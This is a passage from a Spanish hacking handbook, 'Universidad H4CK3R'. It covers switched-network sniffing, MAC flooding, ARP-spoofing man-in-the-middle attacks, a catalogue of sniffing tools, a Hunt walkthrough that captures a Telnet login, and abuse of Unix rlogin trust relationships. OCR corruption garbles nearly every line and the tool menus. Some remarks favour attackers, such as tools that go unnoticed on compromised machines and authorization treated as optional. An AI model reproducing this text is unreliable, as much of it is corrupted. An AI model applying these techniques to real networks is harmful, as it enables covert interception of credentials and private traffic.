0puente1 divide la red en dos segmentos y blo!uea el trfico no destinado a cada uno de
ellos.
229
ikimilikiliklik Universidad H4CK3R
<bserve= las m!uinas " y + estn en el segmento 1, mientras !ue . y ( en el segmento
&. "islando a los dos, un bridge 0puente1. 2l trfico de " a + y de + a " se limita al
segmento 1, y el trfico de . a ( y ( a . se limita al segmento &. 2l bridge 0puente1
blo!uea el trfico local, no deando !ue mensaes no dirigidos a un bus en particular
lleguen a $l.
Sin embargo, si la m!uina . !uiere enviar un mensae a la m!uina ", el bridge dea
pasar el pa!uete.
/a determinacin de !u$ pa!uetes deben
pasar y cuales deben ser blo!ueados es
dinmica, basada en las direcciones ;".
de las interfaces de la red. 2n el momento
en !ue un bridge est conectado, no tiene
nada en la memoria. " medida !ue las
estaciones van enviando pa!uetes a la red,
el bridge almacena las direcciones ;". en
una tabla, relacionndolas con el segmento
donde se origin el pa!uete. <bserve !ue
todo ocurre en la capa & del modelo <S3= el
bridge slo est al tanto de las m!uinas conectadas directamente a su red local.
3maginemos ahora un hub 0concentrador1 !ue posee un bridge en cada puerto. .ada
m!uina de la red recibira slo el trfico destinado a s. 2ste monstruo e5iste y se llama
conmutador o sPitch. <bserve= as como en nuestro primer eemplo, la estacin " !uiere
enviar un mensae a la estacin +. (ebido al sPitch, ninguna de las otras m!uinas va a
escuchar lo !ue " tiene !ue decir. Por otra parte, . podra hablar con 2 simultneamente,
ya !ue la red esta para ellos a ralent.
230
ikimilikiliklik Universidad H4CK3R
:na red con un sPitch en lugar de un hub, ademas de controlar y reducir el trfico,
tambi$n ofrece mayor seguridad a la red, ya !ue un sniffer instalado, por eemplo, en ( no
podra escuchar nada de las conversaciones entre " y + o . y 2. 2ntonces, el uso de
bridges y sPitches, minimi#a el problema de los rastreadores de pa!uetes, 7verdad8
/amentablemente, una ve# ms, la respuesta es no ...
= ;niffing acti1o
:n sPitch o un bridge tiene una tabla !ue relaciona las direcciones ;". !ue 4escucha4
en la red con los puertos o sectores en !ue fueron 4escuchados4. .mo se rellena de
forma dinmica, esta tabla se actuali#ar cada ve# !ue se conecta una nueva m!uina a
la red.
.omo me dio un pariente mo 0ilustre, pero analfabeto1, 4todo lo !ue est dems sobra4.
2l sPitch tiene una memoria de tama)o limitado, por lo !ue un gran n%mero de interfaces
de red conectados a cada puerto podra, en casos e5tremos, llenar completamente 3a
memoria. Pensando en ello, los fabricantes de estos e!uipos las dimensionan para !ue
este lmite no se alcance nunca.
2l problema es !ue una trama 2themet no es ms !ue una cadena de unos y ceros !ue
puede, por tanto, ser manipulado. :n programa cuidadosamente escrito podra generar,
Cad infinitu(, tramas 2themet con direcciones ;". aleatorias, y en unos pocos minutos,
llenar completamente la memoria del sPitch. .omo el shoP no puede parar, este e!uipo
puede empe#ar a transmitir mensaes de forma indiscriminada a todos los puertos. 2sta
t$cnica se llama inundacin de HA%.
(ada esta situacin, cual!uier sniffer puede
olfatear la red. 25isten herramientas !ue
hacen esto 0una de ellas, escrita en Perl, se
puede encontrar en PPP.safenetPorks.com
L<thersL9com?.html1, pero los sniffers ms
modernos 0como CettercapD y CdsniffD1 hacen
todo el trabao.
Por suerte 0o por desgracia, en funcin de
las ideas del !uerido lector1, algunos
sPitches son inmunes a la inundacin de
;".. 6ambi$n, hay varias formas de
implementar sPitches. Se pueden utili#ar
algoritmos de proteccin !ue impidan !ue la memoria se llene completamente. < un
sistema de deteccin de inundaciones, sobre la base de estndares de datos y una base
de los sniffers conocidos. :na tercera va sera la de adoptar una poltica de continuo,
mantenimiento de ;".s conocidos a trav$s del tiempo en detrimento de las nuevas
interfaces, si la memoria procesa por lotes.
Para evitar este inconveniente, los hackers han desarrollado una t$cnica llamada A.P
Spoo(in#. 2sta t$cnica es un poco ms complicada, pero muy inteligente. 2n lugar de
trabaar slo en la capa & 02thernet1, el atacante confunde al ordenador cuyo trfico desea
4esnifar4 manipulando su tabla "NP.
231
ikimilikiliklik Universidad H4CK3R
2l "NP, como se e5plic anteriormente, es
un mecanismo para traducir de 3P a ;"..
/a m!uina !ue !uiere enviar el pa!uete
pregunta a la red= 47Eui$n tiene esta 3P8
6odas las m!uinas de ese segmento
escuchan la pregunta, pero slo el interfa#
!ue tiene esa 3P responde= ;". e 4soy yo,
mi= KKKKKK4. " partir de esto, la interfa# de
origen monta una trama de 2thernet y la
enva al destino. 2l C"NP SpoofingD es una
manera de enga)ar a la m!uina de la
vctima, haci$ndola creer !ue la direccin
;". de la m!uina donde esta el sniffer coincide con la direccin 3P de la m!uina de
destino original. 7.omplicado8 S, lo se. Vamos a intentar un eemplo=
2n el diagrama mostrado, la estacin " !uiere hablar con la estacin +. (esde la estacin
H, un hacker !uiere olfatear la comunicacin entre " y +. Para eso, es necesaria una
preparacin previa. /o primero !ue un hacker debe hacer es configurar su sistema
operativo de H para repasar todo el trfico !ue llega para si, procedente de ", a la
m!uina de destino real, !ue es +. /a configuracin del reenvo de 3P se reali#a
habitualmente por el propio sniffer , pero es posible !ue en algunos casos sea necesario
hacerlo manualmente . 6anto OindoPs como -etPare y cual!uier :ni5 permiten ese
redireccionamiento . 7Necuerda a!uel mapa de red, hecho con ping U traceroute 0o con
Seops18 Ser muy %til ahora.
2l segundo paso es enga)ar a la m!uina
", haciendo !ue crea !ue la 3P de + tiene el
;". de H. 2sto se logra haciendo a H
enviar un gran n%mero de respuestas "NP
para ", indicando !ue la 3P de + tiene la
;". de H F respuestas !ue ni si!uiera se
pidieron. (espu$s de un tiempo, " 4piensa4
!ue, para enviar mensaes a la 3P de +,
tiene !ue construir tramas de 2thernet
direccionadas a la ;". de H.
"hora slo hay !ue activar su sniffer y
esperar. 2l trfico de " hacia + pasar
antes a trav$s de H. -i " ni + sospecharan
por!ue, para ellas, la comunicacin es slo entre las dos. 2ste tipo de configuracin de
ata!ue se suele llamar O&om+re en el medioO. PHan in t&e middleQ
= 6a elecci/n de su sa&ueso
Hay una enorme cantidad de herramientas de sniffing !ue se pueden utili#ar en m%ltiples
plataformas. \stos son algunos=
232
ikimilikiliklik Universidad H4CK3R
F tcpdu(p 0PPP.tcpdump.org1. la herramienta nativa de monitoreo de redes de cual!uier
:ni5. *a vimos el funcionamiento de CtcpdumpD en el captulo Nedes 33. Poniendo la tareta
de red en modo promiscuo 0por eemplo, con CifconfigD en /inu51 y eecutando CtcpdumpD,
tenemos el ms bsico posible 0aun!ue no menos eficiente1 sniffer de red para :ni5. /a
ventaa de usar CtcpdumpD es !ue todos los sistemas :ni5 ya lo tienen F el atacante no
necesita instalar nada, simplemente eecuta el programa y dirige la salida a un archivo. 2l
comando sera=
W tc'"m' Qo'cionesR J #rc$ivoB"eBs#!f"#
:na versin de CtcpdumpD para OindoPs se puede encontrar en,Pindump.polito.it.
F I28raf 0iptraf.seul.org1 2l abuelo de todos
los rastreadores de :ni5, todava se puede
utili#ar efica#mente en una sesin de
sniffing. " pesar de su edad, tiene potentes
funciones. Vale la pena echarle un vista#o.
:na de sus ventaas es !ue, como
CtcpdumpD, es com%n encontrarlo ya
instalado F ahorrando trabao, recursos, y
no levantando sospechas.
F Wires8ark 0PPP.Pireshark.org1. un rastreador poderoso !ue soporta m%ltiples
protocolos, los marca con colores diferentes e interpreta su significado. .uenta con una
interfa# grfica muy amigable. 2s utili#ado principalmente por los administradores, aun!ue
tambi$n es %til para los hackers maliciosos. (isponible para OindoPs y :ni5. /os autores
lo recomiendan.
233
ikimilikiliklik Universidad H4CK3R
CPiresharkD puede incluso decodificar y e5traer informacin de un protocolo particular. 2n
el eemplo anterior, una pgina H6;/ fue decodificada dentro de una serie de pa!uetes
6.P=
F Sniff'e( 0PPP.sniffFem.com1. :n rastreador comercial para OindoPs. 6iene por s solo
todo lo !ue el 2thereal, el 2ttercap, Snort y (sniff hacen untos, aun!ue es de pago. 2n
nuestra opinin, no vale la pena pagar para tener algo !ue se puede descargar gratis con
herramientas menores, aun!ue los usuarios de OindoPs les gusta tener todo integrado en
un solo programa. :na de las diferencias SniffYem es su capacidad para monitori#ar
interfaces inusuales tales como salidas de serie y :S+ mdems N"S y N(S3L3S(- .
F Snort 0PPP.snort.org1 es un sistema de deteccin de intrusos 03(S1, !ue tambi$n sirve
como un rastreador. 2s muy conocido por anali#ar a la perfeccin los logs de S!uid. 6iene
a su favor, ademas de su coleccin de trucos, una e5tensa lista de plataformas en las !ue
rueda , incluyendo /inu5, Solaris, h +S(, HPF:K, 3N3K, ;ac<S K, OindoPs y "3K.
! Sniffit 0reptile.rug.ac.beLFcoderLsniffitLsniffit.html1 slo funciona en :ni5, aun!ue es
venerado por la comunidad por su capacidad de sniffing casi esot$ricas. 6iene dos modos
de funcionamiento. 2l tradicional 0sniff mode1 hace lo !ue cual!uier rastreador = registra
todo el trfico de red. :na segunda modalidad, llamada interactiva, permite al atacante ver
lo !ue circula por la red en tiempo real. Slo puede elegir un protocolo para la supervisin
y hay filtros !ue ocultan toda la compleidad inherente a los protocolos, !ue muestran slo
los datos %tiles. .on CsniffitD, incluso se puede ver lo !ue la vctima esta escribiendo en un
programa de mensaera instantnea como ;S- ;essenger o 3.E F todo en tiempo realG
F .afi+e 0PPP.enderuni5.org.hafiye1 es un rastreador basado en bases de conocimiento.
6iene un base de datos con patrones de muchos protocolos de comunicacin diferentes
234
ikimilikiliklik Universidad H4CK3R
con encriptacin y es capa# de separar los datos %tiles un dentro de un pa!uete.
F Ris(et 0PPP.kismetPireless.net1 es un rastreador para redes inalmbricas 0A'&.111
similar a los C3P6rafD y CtcpdumpD. "dems de ser capa# de decodificar los protocolos
pertinentes, puede dividir la red por reas y por c$lulas de radio. (esarrollado
especficamente para /inu5, soporta de forma nativa el CP(",aurusD de Sharp, con tareta
de red inalmbrica. :na buena opcin para Oar (riving.
F PS9 Snoop 0PPP.sourceforge.netLproectsLusbsnoop1 monitorea y registra todo el trfico
entre el controlador de dispositivo :S+ y el propio dispositivo. stil para ingeniera inversa
de drivers 0para, para eemplo, producir un controlador de cdigo abierto1, pero tambi$n
puede ser usado para monitorearmonitorear el trfico con mdems :S+. :na red
encriptada y sobreprotegida puede ser 4desmantelada4, si un ordenador porttil es
conectado a un ordenador de sobremesa conectado a $l por :S+.
F ;2S!;dvanced2ac/et Sniffer 0PPP.sFPrtec.deLclinu51 es otro eemplo de un pe!ue)o
programa !ue se puede utili#ar para rastrear pa!uetes. .omo es e5tremadamente
dependiente de Sernel, slo funciona en linu5, pero su interfa# sencillo e intuitivo en modo
de te5to permite la operacin remota sin sobrecargar la cone5in.
F .unt 0lin.fsid.cvut.c#LFkraLinde5.html1 no es slo un sniffer, sino una completa
herramienta para e5plotar las fallas en el protocolo 6.PLlP. 2s compatible con todo lo !ue
un rastreador debe ser capa# de ofrecer= observar varios tipos de protocolos 03.;P, 6.P,
"NP1, montar mensaes fragmentados de la secuencia de pa!uetes 6.P, detectar
tormentas ".S, sesiones de secuestro 0hiacking1 y 4aprender4 los ;". de la red, entre
muchos otros trucos. Por ser muy didctico, es uno de los favoritos de los profesores de
cursos en creacin de redes y seguridad F fue de hecho desarrollado por un profesor de
matemticas en la :niversidad de Praga, Pavel Srau#. 2n CHuntD, podemos fcilmente
colocarnos como un 4;an in the middle4 en una cone5in, grabar todo lo !ue se est
transmitiendo, y manipular los datos, incluso apagarla 0reset1.
F -ttercap
0PPP.ettercap.sourceforge.net1 es
un e5celente rastreador activo, es
decir, es especial para ser
utili#ado en redes conmutadas.
Soporta C;". MloodD y C"NP
spoofingD y es e5tremadamente
fcil de usar. .omo funciona en
modo te5to, es fcilmente
operativo en cual!uier m!uina
:ni5 y es e5tremadamente
pe!ue)o. "tacar con CettercapD es
un uego de ni)os= en primer lugar, elegir el par de m!uinas cuyas comunicaciones
!ueremos monitori#ar.
2legimos entre las cone5iones 6.P o :(P establecidas 0pueden haber ms de una1, !ue
se !uieren monitori#ar. (espu$s de eso, la pantalla muestra los datos !ue viaan entre las
dos m!uinas. Se pueden gravar , e5aminarlos en formato "S.33 o he5adecimal o
235
ikimilikiliklik Universidad H4CK3R
inyectar caracteres en la transmisin 0y as manipular la cone5in1. Hay plugins y nuevos
m$todos de sniffing con nombres evocadores como 7o%o de puertos, 1aNa, confusin ...
/as posibilidades son enormesG
F ;ngst 0PPP.angst.sourceforge.net1, desarrollado y probado para <pen+S( es una
herramienta !ue tiene a su favor el diminuto tama)o y la robuste# F adems de hacer
sniffing activo. 6iene menos prestaciones !ue sus primos ms ilustres como CettercapD y
CdsniffD, pero es lo suficientemente pe!ue)o como para pasar desapercibido en una
m!uina invadida. 6ambi$n funciona con Mree+S( y SlackPare /inu5, otras plataformas
de :ni5 re!uieren recopilacin y pruebas.
F >sniff 0PPP.monkey.orgLFdugsongLdsniff1 es, en la actualidad, el sniffer activo ms
respetado de las redes conmutadas. Mue probado por los autores en <pen+S(, en Pcs
con /inu5 y Solaris en m!uinas SunSP"N., ha sido probado en casi todas las distros
conocidas de :ni5, incluyendo K/", Mree+S(, HPF:K e incluso ;ac <S K 0PPP.blafasel.
org LFMlohLportsLdsniffF&.9.os5.tg# 1. 6ambi$n hay una versin 0anticuada, pero funcional1
para OindoPs, disponible en PPP.datanerds.netLFmikeLdsniff.html.
" pesar de !ue los sniffers ms simples son ms fciles de 4implantar4 y usar, hay otros,
ms elaborados, !ue son aut$nticas obras de las malas artes. 2l CtcpdumpD solo, en una
m!uina :ni5, ya podra hacer mucho da)o, y tiene la ventaa de estar ya instalado. Por
otra parte, las m!uinas OinB5 permiten !ue un atacante 4esnife4 en la red 0mediante, por
eemplo, Oin(ump o 2thereal1 sin invadir m!uinas muy complicadas o seguras. .omo
cual!uier usuario de OinB5 tiene control total sobre la m!uina, puede eecutar un sniffer
en $l sin romper ninguna contrase)a de administrador. /a inseguridad inherente a esta
ar!uitectura ayuda al enemigo. .ual!uier servidor o estacin de trabao, ya sea :-3K,
;acintosh, OindoPs -6L&SLKP o -etPare, puede ser un peligro si esta mal configurada.
Sin embargo, las redes con estaciones ,indo$s KGQKJQ<e nunca sern seguras,
cual!uiera !ue sea el esfuer#o invertido en ellas.
Para obtener ms opciones, bus!ue por 4sniff4 en Mresmeat 0PPP.freshmeat.net1 o
Toogle 0PPP.google.com1. 2l PPP.doPnload.com tambi$n tiene varias opciones para
OindoPs. :n %ltimo conseo sobre sniffers 0y otras herramientas1= pedram.redhive.com.
= ;niffing en la 7rFctica
-o hay nada como una sesin de sniffing para fiar los conceptos aprendidos. Podramos
ilustrar esto con un sniffer grfico como 2thereal 0Pireshark1, !ue tiene una versin para
OindoPs y un bonito de interfa# de comandos. 2thereal ademas separa e interpreta los
protocolos para usted, as !ue hace el m5imo de 4trabao sucio4 y dea al "dministrador
de la red slo con la informacin %til, 4masticada4. Pero recuerde= si usted est e5plorando
una red remota, posiblemente deara su sniffer corriendo solo y luego recuperara el
archivo !ue contiene el trfico. /a interfa# grfica, los 4frufrus4 y la inteligencia de 2thereal
sern in%tiles en este entorno.
"ntes de iniciar nuestro estudio, dos recordatorios. 2n primer lugar, tenga en cuenta !ue
su cone5in a 3nternet de casa, probablemente se haga mediante un protocolo de .apa &
llamado PPP o Protocolo Punto a Punto. .omo su nombre indica, es un protocolo punto a
punto= la red local slo tiene dos interfaces, la de su ma!uina, y la del mdem de su
236
ikimilikiliklik Universidad H4CK3R
proveedor de 3nternet. Precisamente por el PPP, no se puede rastrear el trfico de la
subred de 3nternet a la !ue est 0aparentemente1 conectado. 2n una cone5in
empresarial F generalmente por linea privada usando, Mrame Nelay o K.&I, y no PPP F es
posible 0aun!ue no muy probable debido a los cortafuegos y routers1 !ue la subred de
internet determinada para la empresa pueda ser husmeada. 2n cual!uier caso, un sniffer
es %til slo en estructuras de cone5iones internas, donde realmente hay varias m!uinas
compartiendo informacin, en la misma red local.
2l otro recordatorio no es menos importante. Hay tres re!uisitos bsicos para 4esnifar4 la
red=
1. Eue haya una red por lo menos con tres m!uinas 0las dos !ue !ue se !uieren
monitori#ar ms la suya, !ue supervisar las otras dos1.
&. 6ener acceso de superusuario 0root para :ni5 y ;ac<S K o "dministrador de
Oin-6L&SLKP F m!uinas OinB5 no necesitan nada de eso ...1 en el e!uipo !ue estar en
modo promiscuo y olfateara la red.
9. .ontar con la autori#acin para hacer el monitoreo y alertar a los usuarios de la red
para hacerlo. -o es condicin indispensable para iniciar el sniffing, pero es $tico. 6oda
persona tiene derecho, garanti#ado por la ley, a la intimidad. Si su empresa tiene una
poltica de control del trfico, se debera informar a las autoridades.
(icho esto, vamos a lo !ue interesa. 2n nuestro primer estudio, utili#amos CHuntD. 2l
programa tiene un interfa# de usuario en modo te5to !ue, aun!ue simple, es muy
funcional. -o vamos a entrar en detalles sobre la instalacin del programa F hay
instrucciones para esto en la documentacin adunta.
2n nuestra red de prueba 0Ned de /aboratorios de 331, instalamos CHuntD en la m!uina
:ni5. 2lla sera nuestra m!uina 4"#or4. Vamos a monitorear una cone5in entre una
m!uina o OindoPs y la m!uina 4.oitada4. Para !ue podamos controlar meor la
cone5in, vamos a abrir una sesin de 6elnet, !ue es un protocolo interactivo !ue
funciona en te5to plano F perfecto para ser controlado por su simplicidad y baa velocidad.
<bserva=
237
ikimilikiliklik Universidad H4CK3R
2n la 4.oitada4 01B&.1JA.1.&1 est corriendo un servidor de 6elnet 0no se olvide de
activarloG1. 2n la m!uina :ni5, eecute el Hunt. Se mostrar una pantalla como esta=
CY
Y
Y
Y
$nt >B ; m!ti'r'ose connection intr"er C sniffer for Lin&
-c0 >88@+9AAA /y %r#
YC
st#rtin. $nt
+ M#in Men + rcv'%t OO freeC#>>oc =<C=K +++
!C)Cr0 !istC)#tc$Creset connections
0 $ost ' tests
#0 #r'Csim'!e $iD#c% -#voi"s #c% storm if #r' se"0
s0 sim'!e $iD#c%
"0 "#emons rstC#r'CsniffCm#c
o0 o'tions
&0 e&it
+J
el smbolo CFeD es el smbolo de sistema de CHuntD. ;ira al men%. Hay rutinas para listar,
observar y desconectar cone5iones, verificar servidores en lnea, reali#ar secuestros, etc.
6enemos !ue configurar CHuntD para !ue se ponga a escuchar a nuestra red. 6enga en
cuenta= las opciones ClLPLrD, respectivamente son_ Clista de todas las cone)iones activas*
segui(iento de una de ellas* interrupcin #reset&. Para !ue funcionen, debe haber alguna
cone5in activa.
2lia la opcin 4o40opciones1 y pulse 2nter. "parecer un nuevo men%=
+J o
+ o'tions + rcv'%t :9<O freeC#!!oc =<C=K +++
!0 !ist #"" conn 'o!icy
#CmC"0 #""Cmo"C"e! conn 'o!icy entry
c0 conn !ist 'ro'erties m#c nO seX n
e0 !e#rn MAC from I, tr#ffic n
.0 s..est m#c /#se EAE>AE4EEA4ELEEAA
$0 $ost reso!vin. n
i0 'rint cntr! c$#rs y
'0 nm/er of !ines 'er '#.e A
X0 #r' reXCre' '#c%ets 9
r0 reset ACK storm timeot Ks
s0 sim'!e $iD#c% cm" timeot 9s
t0 #r' reX s'oof t$ro.$ reX y
v0 ver/ose n
)0 s)itc$e" environment y
y0 #r' s'oof )it$ my m#c n
&0 retrn
+o'tJ
Hay un sinn%mero de opciones. Por ahora, nos limitaremos a las ms bsicas. /as
opciones CaLmLdD manean, lo !ue se llama, en una traduccin libre, las reglas de
cone5in. +sicamente, una regla de cone5in es la manera con la !ue decimos a CHuntD
cules !ueremos monitorear. Vamos a a)adir una regla 0opcin 4a41.
238
ikimilikiliklik Universidad H4CK3R
+o'tJ #
src i' #""rCm#s% 'orts QABABABA>ARJ
2l programa pide la direccin 3P y mscara de red de la interfa# de origen 0src1 !ue desea
monitorear. 2n nuestro caso, la interfa# de origen es la !ue se conectar a un servidor de
telnet, por lo !ue pondremos ahi la 3P de la m!uina OindoPs. Necordando lo !ue
aprendimos de Nedes 33, 0cero1 significa 4todos4. Por lo tanto, poner un cero en cual!uier
lugar de la direccin indica !ue todas las m!uinas con ese prefio sern monitoreadas.
Por eemplo, si pongo 1B&.1JA.1.1L9&, monitoreara los pa!uetes originados en esa
m!uina. Si pongo, por otro lado, 1B&.1JA.1.'L&?, CHuntD husmeara los pa!uetes de todas
las m!uinas de la red 1B&.1JA.1.', es decir, entre 1B&.1JA.1.1 y 1B&.1JA.1.&I?. 2n un
caso e5tremo, poner '.'.'.'L' sera lo mismo !ue decir el programa= 4Necorre 6<(<G4
<curre lo mismo, introducido en la direccin de destino. /a siguiente pregunta 0insert at1
es simplemente para definir en !ue posicin de la lista aparecer nuestra regla.
/a opcin 414 enumera las reglas vigentes de cone5in. 2n nuestro caso, tenemos=
+o'tJ >
A0 ABABABACA Q#!!R _+J ABABABACA Q9< ;><R
>0 >89B>=@B>B>C<9 Q#!!R _+J >89B>=@B>B9C<9 Q#!!R
+o'ciones "e men++
Yo'tJ
<bserve !ue tenemos un asterisco en el pro(pt. CHuntD nos est diciendo !ue las
m!uinas estn 4vivas4 en la red. Para salir del modo opciones, utilice 454. Negresando a
la pantalla principal, tenemos la opcin de listar 011 las cone5iones activas. Pru$balo y
vers= no hay cone5in en este momento. 2ntonces, vamos a crear una.
2n la estacin de trabao OindoPs 01B&.1JA.1.11 haremos una cone5in 6elnet con la
4.oitada4. "bra una ventana de (<S y escriba telnet 1B&.1JA.1.&. Si todo est correcto,
ver la pantalla de login de la la m!uina 4.oitada4 en la ventana de 6elnet de la m!uina
OindoPs. 2n la m!uina :ni5, vuelva a CHuntD y elia la opcin 414. ;agia= la cone5in
apareci entre 1B&.1JA.1.1 y 1B&.1JA.1.&. 2l puerto de origen sera alto 0como debe ser,
lea en el captulo Nedes 33 y NM.1@''1, y el de destino es el &9 F el puerto de servicio
6elnet. Vamos a pedir a continuacin, a CHuntD !ue nos muestre el trfico. 2lia la opcin
4P4 0Patch1, escoa la cone5in !ue desea monitorear y luego la opcin 4b4 0both1.
Vuelva a la m!uina OindoPs y de su nombre de usuario y contrase)a. Si nos fiamos en
CHuntD, esta informacin se mostrar all. Si la cone5in es e5itosa, el pro(pt de shell de
:ni5 aparecer en el 6elnet de la m!uina OindoPs F y tambi$n en la pantalla de CHuntD,
!ue esta en una la m!uina !ue no particip en la operacinG Haga varias pruebas= liste
directorios, edite te5tos con su editor favorito o llame a un programa F todas estas
actividades sern monitoreadas por CHuntD.
Para CHuntD, esto es lo bsico. (ebido a su simplicidad termina siendo limitado en sus
posibilidades, pero es muy %til en la mayora de los casos. <bviamente hay mucho ms
!ue estudiar sobre el programa, pero lo deo como deberes. Zuega con CHuntD por unos
das, husmea tu red, lea toda la documentacin y bus!ue ms recursos en 3nternet.
/uego, pruebe a ugar tambi$n con el Snort* el Sniffit* el -t3ereal + el I28raf en :ni5 y
OindoPs. Seria deseable, parar por una semana o dos, y slo entonces seguir leyendo.
239
ikimilikiliklik Universidad H4CK3R
Vale la pena F y ser divertidoG
= Cuando la ca>a es in3til
CHuntD es un gran 0e instructivo ...1 sniffer= pero tiene un problema insalvable para los
modelos clsicos de sniffers= no superar bridges o sPitches. Para las redes conmutadas,
se deben usar sniffers apropiados, !ue hagan C"NP SpoofingD o al menos, C;". MloodD.
(os sniffers lo hacen de forma magistral= -ttercap + >sniff. *a hablamos sobre ;72
Spoofing + <;1 Flood hace algunas pginas. 2studie la documentacin y pruebe ambos
programas. "dems= sugerimos !ue el lector bus!ue ms informacin sobre los
siguientes m$todos de sniffing=
F SS/ Spoofing 0falsificando o manipulando certificados digitales1_
F (-S Spoofing 0desviando el trfico a servidores Oeb falsos1_
F Snarfing 0una forma de 4peinar4 el protocolo 6.PL:(P para e5traer slo la informacin
!ue se muestra en la pantalla de la vctima= correo electrnico, mensaera instantnea,
pginas Peb ...1.
A5n +uiBn 7uedes confiarC
Slo decir ya es suficiente L <h, te atrap$ L 72n !ui$n !uien !uien puedes confiar 0ZoanZett,
72n !ui$n puedes confiar8. (el disco4 .herry +omb, de 1BBI.1
:na forma de lograr un Spoofing ms efica# es a trav$s de relaciones de confian#a entre
ordenadores. 2sto permite !ue una computadora pueda tener acceso a varios recursos
iniciando sesin en un solo sistema.
<bserve= e5iste una m!uina servidor 0llam$mosla 4S41 !ue tiene relacin de confian#a
con otras m!uinas 0las llamamos 4614, 46&4, 4694, etc1 . Si el usuario se 4logea4 en la
m!uina S, automticamente obtendr acceso a los recursos de las m!uinas 464.
"un!ue este servicio 4es una herramienta fundamental4 para los administradores de red y
permite a los usuarios iniciar sesin en un solo sistema para tener acceso a varios, si un
hacker consigue hacerse pasar por la m!uina en la !ue tienen confian#a, puede tener
acceso a todas las otras !ue 4confan4en ella.
6anto sistemas :ni5 como OindoPs 0y tambi$n -ovell ...1 cuentan con instalaciones
similares. OindoPs &''' tienen una caracterstica llamada C"bvanced (irectory ServiceD
0o "(S1, !ue contiene el registro de todos los usuarios y m!uinas en la red y las
240
ikimilikiliklik Universidad H4CK3R
relaciones entre ellos. 2l usuario, al iniciar sesin en un dominio OindoPs, hace !ue su
nombre y contrase)a se comparen con los de "(S y, de ser aceptados, todos los
servicios estn disponibles.
-ovell cuenta con un producto llamado Ce(irectoryD 0PPP.novell.comLesLproductosL
e(irectory1 basado en un n%cleo, el C-ovell (irectory ServiceD o -(S. 2l softPare
funciona de la misma manera !ue el "(S de ;icrosoft, con una peculiaridad= no se limita
a los productos de -ovell. (e hecho, es posible a trav$s de Ce(irectoryD, crear cone5iones
para todo tipo de plataformas de softPare y hardPare imaginables, incluyendo en ella los
sistemas :ni5, OindoPs, e incluso grandes sistemas.
6anto Ce(irecoryD como el "(S se basan en un estndar llamado 'ig3t$3eig3t >irector+
;ccess 2rotocol o '>;2. Hay versiones de /("P disponibles para diferentes distros de
:ni5. :no de los ms famosos es los de <pen/("P 0PPP.openldap.org1. versin libre,
gratuita y de cdigo abierto. /("P es un forma segura de proveer a las aplicaciones :ni5
0OindoPs y ;acintosh tambi$n ...1, los llamados CsingleFsignFonD 0o registro de una sola
ve#1 y tener acceso a los recursos disponibles en #onas remotas de la red.
Pero los sistemas :ni5 tienen dos antepasados de estos servicios= -3S 0-etPork
3nformation Service1 y el tristemente c$lebre C:ni5 6rustD. Por su edad, ambos son
e5tremadamente inseguros y fcilmente hackeables . Hablaremos ms adelante de -3S,
ya !ue sus fallos no son de I2 Spoofing.
:ni5 tiene una serie de comandos, todos comen#ando por CrD 0de remoto1 !ue permiten
!ue diferentes sistemas puedan funcionar sin tener !ue autenticarse en cada uno.
3maginemos, por eemplo, !ue el usuario est$ registrado en la ma!uina ". /a m!uina +
confa en ", as !ue permite !ue los comandos CrD sean eecutados en ella tambi$n. Por
eemplo, si el usuario de la ma!uina " emite el comando Crlogin 3P.(2.+D, se le mostrara
un shell de la ma!uina + sin tener !ue dar nombre de usuario y contrase)a. + confa en
", entonces + confa en los usuarios de ". 3gualmente, act%an los comandos CrshD 0shell
remoto F permite la eecucin de un comando1, CrcpD 0copia remoto1, CrmailD 0leer eFmails
en otro sistema1, entre otros. Para ser autori#ado a eecutar comandos, es necesario !ue
la 3P de " est$ contenida en de archivo QetcQ3osts.equiv de +. 6odas las m!uinas cuyas
3Ps se encuentren en QetcQ3osts.equiv son fiables para la ma!uina + . "dems de este
archivo, cada usuario + puede tener en su propio Q3o(e, una lista de las m!uinas de su
confian#a, guardada en el archivo .r3osts.
2n el eemplo anterior, todas las m!uinas 4S4 y 464 son :ni5. /as estaciones pueden ser
cual!uier cosa. 2n cada una de de m!uinas 464 mostradas hay un archivo, QetcQ
3osts.equiv !ue contiene la 3P de 4S4. "s, todos los usuarios !ue se logeen en 4S4
pueden tener acceso a los recursos de las m!uinas 464. Se pueden construir shell scripts
241
ikimilikiliklik Universidad H4CK3R
con los comandos CrD, por eemplo, para automati#ar procesos y hacer la vida ms fcil a
los usuarios.
7Pero !u$ sucede cuando utili#amos los comandos CrD8 2l usuario se registra en 4S4 y, a
trav$s de un comando CrloginD, consigue un shell de 4694, sin !ue se le pida un nombre de
usuario y contrase)a vlidos en 469 4. Sucede !ue, en la prctica, el usuario est logeado
en 4694, y todas sus acciones se originan a partir de 4694 0no de 4S4 o de 4H4, su estacin
de trabao ...1. Si el intruso utili#a un escner contra el sitio Peb de la empresa o intenta
conectarse a un servicio por fuer#a bruta en 3nternet, ser la 3P de la 4694 la !ue sera
registrada, no la de 4S4 y mucho menos la de 4H 4.
"hora es donde sucede la magia. Si ya somos usuarios registrados en 4S4, no hay
problema. +asta iniciar sesin en 4S4, dar un CrloginD a 69 y usarlo. Pero, 7* si no lo
somos8 3ncluso si lo somos, nuestros logs de 4S4 sern registrados, entonces 7!u$
hacer8
Se puede 4envenenar4 una relacin de confian#a entre dos m!uinas usando spoofing, un
poco de sniffing y un poco de denegacin de servicio. 3magine una red de la empresa
donde hay una m!uina llamada S2NV/<T3-, en la !ue los usuarios se autentican, y
otras, cada una con un nombre !ue hace referencia a los recursos !ue ofrece 0por
eemplo, 3;PN2S<N", M3S."/, 3-6N"-26, V"K, financieros, entre otros .. ..1 6odas
estas m!uinas utili#an el archivo QetcQ3osts.equiv para 4confiar4, a uicio de S2NV/<T3-,
respecto a !ue usuarios tienen permiso para acceder a sus recursos. 3magine tambi$n
!ue, en alg%n lugar desconocido a trav$s de 3nternet, e5iste una m!uina 4H4 !ue se
!uiere conectar a alg%n ordenador interno.
Para llevar a cabo la tarea de manera satisfactoria, tenemos algunas premisas=
F 2n primer lugar, hay !ue tener en cuenta !ue 4H4 no est en la misma /"- !ue
S2NV/<T3- o cual!uiera de las otras m!uinas. ;s bien, esta F muyyy leos F en la
nube de 3nternet. Por lo tanto, es imposible 4esnifar4 lo !ue sucede en la /"-.
F (e alg%n modo hemos descubierto !ue S2NV/<T3- se considera 4de confian#a4 por
otros servidores. (escubrimos esto por !ue invadimos 3;PN2S<N", por eemplo, o el
mismo S2NV/<T3-, y consultamos los archivos .r3osts o, QetcQ3osts.equiv o los registros
del sistema, en busca a se)ales de cone5in de P"IO 8rust.
242
